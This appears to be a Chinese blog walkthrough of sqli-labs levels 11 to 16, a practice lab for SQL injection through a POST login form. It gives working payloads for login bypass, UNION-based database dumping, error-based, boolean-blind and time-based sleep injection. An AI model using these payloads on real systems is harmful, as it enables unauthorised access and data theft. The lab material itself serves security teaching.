Less-11

进入Less-11之后,可以看到是全新的关卡,是一个表单的形式,需要我们填入用户名和密码才可以提交,首先我们随便填入一个用户名和密码看页面会回显给我们什么内容?

我在这块用户名和密码都输入的是123,可以看到登陆尝试失败,不过这都不是重点,我们观察一下地址栏这块,我们提交的数据并没有体现在url中,说明11关是POST注入,那么什么是POST注入呢?就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器在进行验证,这就是post提交方式。
那么现在我们来思考如何进行注入呢?在POST过程中,我们输入的用户名和密码最后在后台处理的过程中依旧会形成一个sql语句,那么我们是不是也可以像GET型的一样通过构造payload来显示出我们想要的内容呢?
所以我们来尝试一下:
username栏输入:' or 1=1 #
password栏输入:不输入任何东西

提交之后显示登陆成功,并且爆出了用户名和密码;我们可以尝试猜一下后台执行的sql语句:
select username,password from users where username='$username' && password='$password' limit 0,1;
后台执行的数据库语句大概就是这样(●'◡'●),所以当我们提交输入的内容时:
select username,password from users where username='' or 1=1 # && password='$password' limit o,1;
我们来分析一下这条语句,username被我们成功闭合,or 1=1使这条语句恒为真,用#注释掉后面password的内容,所以该条语句成功执行;
现在我们再来尝试一下用get注入中用到的其他语句来继续测试:
username:-1' union select database(),@@datadir #
password:不输入任何东西
注意:这块password可以不用输入任何东西是因为password在后台可能允许为空,所以在这块输不输数据都无所谓,并不会产生什么影响!

我们发现,是可以用union联合查询的,那么我们在来尝试爆库:
username:-1' union select group_concat(schema_name),null from information_schema.schemata #

爆出了所有的库名,Less-11就演示到这里;
Less-12
Less-12跟Less-11类似,只是闭合的方式不同,我们先来尝试闭合:
username:" or 1=1 #

登录失败并且报错,报错说明存在注入的可能,我们来仔细看一下这句错误,提示在"附近,则我们可以加上个括号再次进行尝试:
username:") or 1=1 #

加上括号之后,页面有数据回显,闭合成功;
Less-13
判断闭合:
username:') or 1=1 #

闭合成功,但是没有显示数据,所以Less-13可能没有显示位;所以我们要换一种思路,我们用报错注入来尝试一下:
1') AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) #

库名出来了,所以我们可以采用报错注入的方法来爆破,除了这种方法之外,我们还可以用布尔盲注的方法:
') or (ord(substr(database(),1,1))>100) #

Less-14
" or (ord(substr(database(),1,1))>100) #
Less-14跟Less-13的区别也只是闭合方式的不同

Less-15
' or (ord(substr(database(),1,1))>100) #

其实Less-13、14、15三关都一样,只是闭合方式不同,还有一点区别就是Less-15就算是语法错误也不会报错。还有就是当我们知道用户名的时候,前后都为真,那么我们就可以使用sleep函数,根据页面响应时间来判断,此处用户名是admin,演示如下:
admin' and sleep(if(ord(substr(database(),1,1)>114),5,0)) #

Less-16
") or 1=1 #

闭合方式判断出来了;接下来的步骤跟之前的相同;
本文深入解析SQL注入攻击的原理及手法,通过实例演示了不同类型的SQL注入,包括GET和POST注入,以及如何利用构造payload绕过认证,进行数据库信息泄露。文章详细介绍了闭合方式、联合查询、数据库爆破等技巧。

2130

被折叠的 条评论
为什么被折叠?



